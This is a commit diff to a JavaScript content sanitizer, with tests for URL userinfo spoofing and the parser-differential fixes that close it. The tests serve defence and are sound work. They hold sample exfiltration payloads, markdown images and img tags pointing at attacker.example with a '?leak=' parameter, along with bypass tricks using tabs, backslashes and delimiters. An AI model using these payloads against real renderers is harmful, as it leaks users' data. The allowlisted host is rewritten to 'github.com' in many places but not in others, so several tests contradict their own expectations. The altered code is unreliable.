fix(sanitizer): align URL authority parsing with browser URL parsing

actions/setup/js/sanitize_content.test.cjs

@@ -1382,6 +1382,198 @@ describe("sanitize_content.cjs", () => {
     });
   });
 
+  describe("URL userinfo authority spoofing", () => {
+    // A URL authority may carry a "userinfo@" prefix. Everything before the last
+    // "@" is credentials, not the host, so "https://github.com@evil.com/x"
+    // connects to evil.com even though the allowlisted "github.com" appears
+    // first. Redaction must key off the real host in every URL form.
+
+    it("should redact an https URL whose allowlisted host is only userinfo", () => {
+      const result = sanitizeContent("https://github.com@evil.com/x");
+      expect(result).toContain("(evil.com/redacted)");
+      expect(result).not.toContain("evil.com/x");
+    });
+
+    it("should redact a markdown image whose https host is spoofed via userinfo", () => {
+      // Zero-click exfiltration vector: GitHub's camo proxy fetches image URLs
+      // server-side when the rendered comment is viewed.
+      const result = sanitizeContent("![x](https://github.com@attacker.example/pixel.gif?leak=SENTINEL)");
+      expect(result).toContain("(attacker.example/redacted)");
+      expect(result).not.toContain("SENTINEL");
+    });
+
+    it("should redact a protocol-relative URL whose allowlisted host is only userinfo", () => {
+      // Browsers on an HTTPS page resolve //host/path to https://host/path.
+      const result = sanitizeContent("//github.com@evil.com/x");
+      expect(result).toContain("(evil.com/redacted)");
+      expect(result).not.toContain("evil.com/x");
+    });
+
+    it("should redact a markdown image whose protocol-relative host is spoofed via userinfo", () => {
+      const result = sanitizeContent("![x](//github.com@attacker.example/pixel.gif?leak=SENTINEL)");
+      expect(result).toContain("(attacker.example/redacted)");
+      expect(result).not.toContain("SENTINEL");
+    });
+
+    it("should redact a protocol-relative URL with no path when the host is spoofed", () => {
+      const result = sanitizeContent("//github.com@evil.com");
+      expect(result).toContain("(evil.com/redacted)");
+      expect(result).not.toContain("github.com@");
+    });
+
+    it("should redact a protocol-relative URL whose userinfo carries a port", () => {
+      const result = sanitizeContent("//github.com:443@evil.com/x");
+      expect(result).toContain("(evil.com/redacted)");
+      expect(result).not.toContain("evil.com/x");
+    });
+
+    it("should redact a protocol-relative URL with chained userinfo segments", () => {
+      // The LAST "@" delimits the real host, so every earlier segment is userinfo.
+      const result = sanitizeContent("//a@github.com@evil.com/x");
+      expect(result).toContain("(evil.com/redacted)");
+      expect(result).not.toContain("evil.com/x");
+    });
+
+    it("should redact a protocol-relative URL with user:password userinfo", () => {
+      const result = sanitizeContent("//user:SENTINEL_PASSWORD@evil.com/x");
+      expect(result).toContain("(evil.com/redacted)");
+      expect(result).not.toContain("SENTINEL_PASSWORD");
+    });
+
+    it("should redact a spoofed protocol-relative host regardless of case", () => {
+      const result = sanitizeContent("//GitHub.com@EVIL.com/x");
+      expect(result).toContain("(evil.com/redacted)");
+      expect(result).not.toContain("EVIL.com/x");
+    });
+
+    it("should redact a spoofed protocol-relative URL inside an HTML src attribute", () => {
+      const result = sanitizeContent('<img src="//github.com@evil.com/p.png">');
+      expect(result).toContain("(evil.com/redacted)");
+      expect(result).not.toContain("evil.com/p.png");
+    });
+
+    it("should redact every spoofed protocol-relative URL when several appear", () => {
+      const result = sanitizeContent("//github.com@evil.com/a //github.com@bad.org/b");
+      expect(result).toContain("(evil.com/redacted)");
+      expect(result).toContain("(bad.org/redacted)");
+      expect(result).not.toContain("github.com@");
+    });
+
+    it("should strip userinfo but keep the URL when the real host is allowed", () => {
+      const result = sanitizeContent("//github.com@github.com/ok");
+      expect(result).toContain("//github.com/ok");
+      expect(result).not.toContain("github.com@");
+    });
+
+    it("should not treat an @ in a protocol-relative path as userinfo", () => {
+      const result = sanitizeContent("//github.com/a@b");
+      expect(result).toContain("//github.com/a@b");
+    });
+
+    it("should not treat an @ in a protocol-relative query string as userinfo", () => {
+      const result = sanitizeContent("//github.com/repo?u=a@b.com");
+      expect(result).toContain("//github.com/repo?u=a@b.com");
+    });
+
+    it("should not corrupt // path segments inside an allowed absolute URL", () => {
+      const result = sanitizeContent("https://github.com//issues");
+      expect(result).toContain("https://github.com//issues");
+    });
+
+    // A URL-spoofing check is only as good as its agreement with the parser that
+    // will eventually fetch the URL. Each case below is a place where the
+    // sanitizer's regex view of "where does the authority end" or "where does a
+    // URL begin" once diverged from a browser's, letting a spoofed host through.
+
+    it("should strip userinfo from a spoofed URL that immediately follows another URL", () => {
+      // A greedy authority once swallowed the "," and the following "https:",
+      // so the global scan resumed past the second URL and never stripped it.
+      const result = sanitizeContent("https://github.com/a,https://github.com@attacker.example/p?leak=SENTINEL");
+      expect(result).toContain("(attacker.example/redacted)");
+      expect(result).not.toContain("SENTINEL");
+    });
+
+    it("should strip userinfo from adjacent protocol-relative markdown images", () => {
+      const result = sanitizeContent("![a](//x.example)![b](//github.com@attacker.example/p.gif?leak=SENTINEL)");
+      expect(result).toContain("(attacker.example/redacted)");
+      expect(result).not.toContain("SENTINEL");
+    });
+
+    it("should redact a spoofed host in a CommonMark angle-bracket link destination", () => {
+      const result = sanitizeContent("![p](<//github.com@attacker.example/pixel.gif?leak=SENTINEL>)");
+      expect(result).toContain("(attacker.example/redacted)");
+      expect(result).not.toContain("SENTINEL");
+    });
+
+    it("should redact a spoofed host in an unquoted HTML src attribute", () => {
+      const result = sanitizeContent("<img src=//github.com@attacker.example/p.gif?leak=SENTINEL>");
+      expect(result).toContain("(attacker.example/redacted)");
+      expect(result).not.toContain("SENTINEL");
+    });
+
+    it("should redact a spoofed host behind backslash separators", () => {
+      // URL parsers treat "\" as "/" for special schemes, so \\host resolves
+      // exactly like //host.
+      const result = sanitizeContent('<img src="\\\\github.com@attacker.example/p.gif?leak=SENTINEL">');
+      expect(result).toContain("(attacker.example/redacted)");
+      expect(result).not.toContain("SENTINEL");
+    });
+
+    it("should redact a spoofed host behind a mixed slash-backslash separator", () => {
+      const result = sanitizeContent('<img src="/\\github.com@attacker.example/p.gif?leak=SENTINEL">');
+      expect(result).toContain("(attacker.example/redacted)");
+      expect(result).not.toContain("SENTINEL");
+    });
+
+    it("should redact a disallowed host behind backslash separators without userinfo", () => {
+      const result = sanitizeContent('<img src="\\\\attacker.example/p.gif?leak=SENTINEL">');
+      expect(result).toContain("(attacker.example/redacted)");
+      expect(result).not.toContain("SENTINEL");
+    });
+
+    it("should redact a spoofed host split by a tab, which URL parsers discard", () => {
+      const result = sanitizeContent('<img src="//github.com\tA@attacker.example/p.gif?leak=SENTINEL">');
+      expect(result).toContain("(attacker.example/redacted)");
+      expect(result).not.toContain("SENTINEL");
+    });
+
+    it("should redact a spoofed host split by an encoded tab entity", () => {
+      const result = sanitizeContent('<img src="//github.com&#9;A@attacker.example/p.gif?leak=SENTINEL">');
+      expect(result).toContain("(attacker.example/redacted)");
+      expect(result).not.toContain("SENTINEL");
+    });
+
+    it("should redact a spoofed host split by a newline, which URL parsers discard", () => {
+      const result = sanitizeContent('<img src="//github.com\nA@attacker.example/p.gif?leak=SENTINEL">');
+      expect(result).toContain("(attacker.example/redacted)");
+      expect(result).not.toContain("SENTINEL");
+    });
+
+    it("should redact a spoofed protocol-relative host in a query parameter", () => {
+      const result = sanitizeContent("https://github.com/a?redirect=//github.com@attacker.example/p?leak=SENTINEL");
+      expect(result).toContain("(attacker.example/redacted)");
+      expect(result).not.toContain("SENTINEL");
+    });
+
+    it("should not redact an allowed host that merely follows a newline in prose", () => {
+      // Tab/CR/LF are tolerated inside an authority only to defeat the parser
+      // differential above; an ordinary host followed by prose must be intact.
+      const result = sanitizeContent("//github.com/repo\nnext line of prose");
+      expect(result).toContain("//github.com/repo");
+      expect(result).toContain("next line of prose");
+    });
+
+    it("should not redact an allowed protocol-relative URL in a query parameter", () => {
+      const result = sanitizeContent("https://github.com/a?redirect=//github.com/b");
+      expect(result).toContain("https://github.com/a?redirect=//github.com/b");
+    });
+
+    it("should leave Windows-style paths untouched", () => {
+      const result = sanitizeContent("C:\\Users\\me\\file.txt");
+      expect(result).toContain("C:\\Users\\me\\file.txt");
+    });
+  });
+
   describe("domain sanitization", () => {
     let sanitizeDomainName;
 

actions/setup/js/sanitize_content_core.cjs

@@ -209,6 +209,57 @@ function sanitizeDomainName(domain) {
   return joined;
 }
 
+/**
+ * Character class (as a source fragment) for the delimiters that may introduce a
+ * protocol-relative URL. A "//" is only treated as the start of a URL when it
+ * sits at the start of the string or immediately after one of these, so that
+ * "//" segments inside the path of an absolute URL (e.g.
+ * "https://github.com//issues") are not misread as a new URL.
+ *
+ * Beyond whitespace/bracket/quote, this includes the delimiters that actually
+ * precede a URL in rendered contexts: "<" and "=" for HTML attributes and
+ * CommonMark angle-bracket link destinations (`<img src=//host/x>`,
+ * `[a](<//host/x>)`), and ",", ">", "|" and "`" which separate URLs in prose,
+ * tables and markup. Omitting these left renderable URLs unfiltered.
+ *
+ * Shared by the userinfo-stripping pre-pass and the protocol-relative filtering
+ * pass so the two cannot disagree about what counts as a URL start: if the
+ * strip pass recognized a URL the filter pass did not (or vice versa), a
+ * spoofed host could be normalized into a form that is then trusted.
+ */
+const URL_START_DELIMITERS = "[\\s([{\"'<=,>|`]";
+
+/**
+ * Character class (as a source fragment) matching one character of a URL
+ * authority (the "userinfo@host:port" component).
+ *
+ * The authority ends at the path/query/fragment ("/", "?", "#") and at
+ * whitespace, but it must ALSO end at the delimiters that terminate a URL in
+ * prose and markup. Consuming those was a bypass rather than a cosmetic issue:
+ * with a class of merely [^\s/?#], the authority of the first URL in
+ * "https://x.com,https://github.com@evil.com/" swallowed ",https:", so the
+ * global scan resumed past the second URL's scheme and never stripped its
+ * userinfo — leaving the spoofed host to be read as the allowlisted github.com.
+ * The same applied to adjacent markdown images "![a](//x.com)![b](//host@evil)".
+ */
+const URL_AUTHORITY_CHAR = "[^\\s/?#,()<>[\\]{}\"'`|\\\\]";
+
+/**
+ * Remove the ASCII tab, CR and LF characters that URL parsers discard.
+ *
+ * WHATWG URL parsing strips these from anywhere in a URL before parsing, so
+ * "//github.com\tA@evil.com/x" is fetched as host "evil.com" with the userinfo
+ * "github.comA" — while a regex that treats them as terminators sees only the
+ * allowlisted "github.com". Callers must therefore compare hosts on the
+ * stripped form to match what a browser will actually request.
+ *
+ * @param {string} authority - The raw authority text
+ * @returns {string} The authority with tab/CR/LF removed
+ */
+function stripUrlIgnorableWhitespace(authority) {
+  return authority.replace(/[\t\r\n]/g, "");
+}
+
 /**
  * Strip URL userinfo (user:password@) from all scheme://... URLs in a string.
  * This must run before any domain filtering so that credentials embedded in
@@ -242,10 +293,52 @@ function stripUrlUserinfo(s) {
   // the last "@" ensures chained userinfo values (e.g. "a@b@c@host") are
   // fully stripped, while stopping the authority match at "?"/"#" ensures an
   // ordinary URL whose query string happens to contain "@" is left untouched.
-  return s.replace(/([a-z][a-z0-9+.-]{0,30}:\/\/)([^\s/?#]*)/gi, (match, scheme, authority) => {
-    const at = authority.lastIndexOf("@");
+  //
+  // Tab/CR/LF are allowed *inside* the authority and then discarded, because
+  // URL parsers discard them too: without this, "https://github.com\tA@evil.com/"
+  // would present an authority of just the allowlisted "github.com" to the
+  // filter while a browser fetches evil.com. Tolerating them is safe because a
+  // rewrite only happens when the cleaned authority contains "@" — so an
+  // ordinary host that merely happens to be followed by a newline and more
+  // prose is left untouched.
+  const schemeUserinfoRegex = new RegExp(`([a-z][a-z0-9+.-]{0,30}://)((?:${URL_AUTHORITY_CHAR}|[\\t\\r\\n])*)`, "gi");
+  return s.replace(schemeUserinfoRegex, (match, scheme, authority) => {
+    const cleaned = stripUrlIgnorableWhitespace(authority);
+    const at = cleaned.lastIndexOf("@");
     if (at === -1) return match;
-    return scheme + authority.slice(at + 1);
+    return scheme + cleaned.slice(at + 1);
+  });
+}
+
+/**
+ * Strip URL userinfo (user:password@) from protocol-relative URLs (//host/path).
+ *
+ * Browsers on an HTTPS page resolve "//host/path" to "https://host/path", so a
+ * protocol-relative URL carries the same userinfo-spoofing risk as an explicit
+ * https:// URL: in "//github.com@evil.com/x" the real host is evil.com, but a
+ * host pattern that stops at "@" would read it as the allowlisted github.com.
+ * stripUrlUserinfo() cannot cover this form because it requires a scheme.
+ *
+ * The "//" is only treated as a protocol-relative URL when it appears at the
+ * start of the string or immediately after a URL-introducing delimiter (see
+ * URL_START_DELIMITERS) — the same anchoring used by the protocol-relative pass
+ * in sanitizeUrlDomains() — so "//" segments inside the path of an absolute URL
+ * (e.g. "https://github.com//issues") are left untouched.
+ *
+ * Backslashes are accepted in the separator position because URL parsers treat
+ * "\" as "/" for special schemes, so "\\github.com@evil.com/x" and
+ * "/\github.com@evil.com/x" both resolve to host evil.com in a browser.
+ *
+ * @param {string} s - The string to process
+ * @returns {string} The string with userinfo removed from protocol-relative URLs
+ */
+function stripProtocolRelativeUserinfo(s) {
+  const protoRelativeUserinfoRegex = new RegExp(`(^|${URL_START_DELIMITERS})([/\\\\]{2})((?:${URL_AUTHORITY_CHAR}|[\\t\\r\\n])*)`, "g");
+  return s.replace(protoRelativeUserinfoRegex, (match, prefix, _slashes, authority) => {
+    const cleaned = stripUrlIgnorableWhitespace(authority);
+    const at = cleaned.lastIndexOf("@");
+    if (at === -1) return match;
+    return prefix + "//" + cleaned.slice(at + 1);
   });
 }
 
@@ -335,8 +428,11 @@ function sanitizeUrlProtocols(s) {
 function sanitizeUrlDomains(s, allowed) {
   // Strip userinfo (user:password@) from HTTPS URLs before any domain filtering
   // so that credentials are never passed to the allowlist check or preserved
-  // in the output for an allowed domain.
+  // in the output for an allowed domain. Protocol-relative URLs (//host/path)
+  // are stripped too, since browsers resolve them to https:// and they are
+  // subject to the same allowlist check below.
   s = stripUrlUserinfo(s);
+  s = stripProtocolRelativeUserinfo(s);
 
   // Match HTTPS URLs with optional port and path
   // This regex is designed to:
@@ -421,13 +517,32 @@ function sanitizeUrlDomains(s, allowed) {
   // The path stop-condition (?!\/\/) stops before the next protocol-relative URL
   // (analogous to how the httpsUrlRegex stops before the next https:// URL).
   // Capture groups:
+  // Second pass: handle protocol-relative URLs (//hostname/path).
+  // Browsers on HTTPS pages resolve these to https://, so they must be subject
+  // to the same domain allowlist check as explicit https:// URLs.
+  // We only treat // as a protocol-relative URL when it appears at the start of
+  // the string or immediately after a URL-introducing delimiter. The delimiter
+  // set is shared with the userinfo-stripping pre-pass (URL_START_DELIMITERS)
+  // so the two passes cannot disagree about where a URL begins. This avoids
+  // matching // segments inside the path of an allowed https:// URL, such as
+  // "https://github.com//issues".
+  // The separator accepts backslashes ("\\host", "/\host") because URL parsers
+  // treat "\" as "/" for special schemes, so those forms reach the same host.
+  // The path stop-condition (?!\/\/) stops before the next protocol-relative URL
+  // (analogous to how the httpsUrlRegex stops before the next https:// URL).
+  // Capture groups:
   //   1: prefix (start-of-string or delimiter)
-  //   2: full protocol-relative URL (starting with //)
+  //   2: separator (// or a backslash variant)
   //   3: hostname (and optional port)
   //   4: optional path
-  const protoRelativeUrlRegex = /(^|[\s([{"'])(\/\/([\w.-]+(?::\d+)?)(\/(?:(?!\/\/)[^\s,])*)?)/gi;
+  const protoRelativeUrlRegex = new RegExp(`(^|${URL_START_DELIMITERS})([/\\\\]{2})([\\w.-]+(?::\\d+)?)((?:/(?:(?![/\\\\]{2})[^\\s,])*)?)`, "gi");
 
-  s = s.replace(protoRelativeUrlRegex, (match, prefix, url, hostnameWithPort) => prefix + applyDomainFilter(url, hostnameWithPort));
+  s = s.replace(protoRelativeUrlRegex, (match, prefix, _separator, hostnameWithPort, path = "") => {
+    // Normalize the separator to "//" so a backslash form can never survive as
+    // an allowed URL in a shape the regex would not re-examine.
+    const url = `//${hostnameWithPort}${path}`;
+    return prefix + applyDomainFilter(url, hostnameWithPort);
+  });
 
   return s;
 }